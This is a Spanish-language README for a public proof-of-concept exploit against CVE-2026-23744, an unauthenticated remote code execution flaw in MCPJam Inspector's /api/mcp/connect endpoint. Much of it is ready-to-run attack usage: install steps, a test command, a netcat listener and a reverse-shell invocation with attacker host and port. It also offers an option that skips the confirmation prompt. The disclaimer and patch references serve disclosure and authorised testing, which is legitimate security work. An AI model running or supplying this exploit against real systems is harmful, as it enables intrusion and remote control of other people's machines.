CVE-2026-23744 — MCPJam Inspector RCE no autenticado

PoC de ejecución remota de código no autenticada para CVE-2026-23744. MCPJam Inspector 1.4.2 y versiones anteriores exponen funcionalidad a través de /api/mcp/connect que puede lanzar un comando de servidor MCP controlado por el atacante sin autenticación.

Solo para pruebas autorizadas e investigación. No lo utilices contra sistemas que no poseas o para los que no tengas permiso explícito de prueba.

Qué hace

HTTP POST -> /api/mcp/connect -> serverConfig command -> process launch -> command execution

1. Construye un payload serverConfig de MCP manipulado.
2. Apunta al endpoint no autenticado /api/mcp/connect.
3. Lanza un comando configurado a través de bash -c.
4. Admite validación segura de comandos y payloads de reverse shell.
5. Proporciona modos dry-run/debug para inspeccionar el payload antes de enviar tráfico.

Capturas de pantalla

Configuración de reverse shell

Payload de conexión MCPJam

Shell recibida

Instalación

git clone https://github.com/ozcanpng/CVE-2026-23744.git
cd CVE-2026-23744
pip install -r requirements.txt

Uso

Prueba de comando seguro

python3 CVE-2026-23744.py \
  --url http://127.0.0.1:3000 \
  --cmd 'id'

Reverse shell

Primero inicia un listener:

rlwrap nc -lvnp 4444

Después ejecuta:

python3 CVE-2026-23744.py \
  --url http://127.0.0.1:3000 \
  --reverse-shell \
  --lhost 10.10.16.53 \
  --lport 4444

Opciones útiles:

--cmd COMMAND       Command to execute (default: id)
--server-id VALUE   serverId value in the crafted MCP config (default: pwn)
--dry-run           Build payload flow without sending the HTTP request
--debug             Print endpoint and JSON payload
--verify-tls        Verify HTTPS certificates
--timeout SECONDS   HTTP timeout in seconds (default: 8)
--yes               Skip reverse-shell confirmation prompt

Productos afectados

El problema es especialmente crítico cuando MCPJam Inspector escucha en 0.0.0.0, lo que permite que hosts remotos alcancen el servicio de desarrollo.

Notas

• El PoC envía un payload JSON a /api/mcp/connect.
• El comando se pasa a través de serverConfig.command y serverConfig.args.
• Prefiere usar --cmd para una validación segura antes de intentar una reverse shell.
• Usa --dry-run --debug para inspeccionar la solicitud generada sin tocar un objetivo.
• La versión 1.4.3 contiene el parche oficial según NVD.

Referencias

• NVD — CVE-2026-23744
• GitHub Security Advisory — GHSA-232v-j27c-5pp6
• Commit del parche
• MCPJam Inspector

Autor del PoC

ozcanpng — github.com/ozcanpng — ozcanpng.dev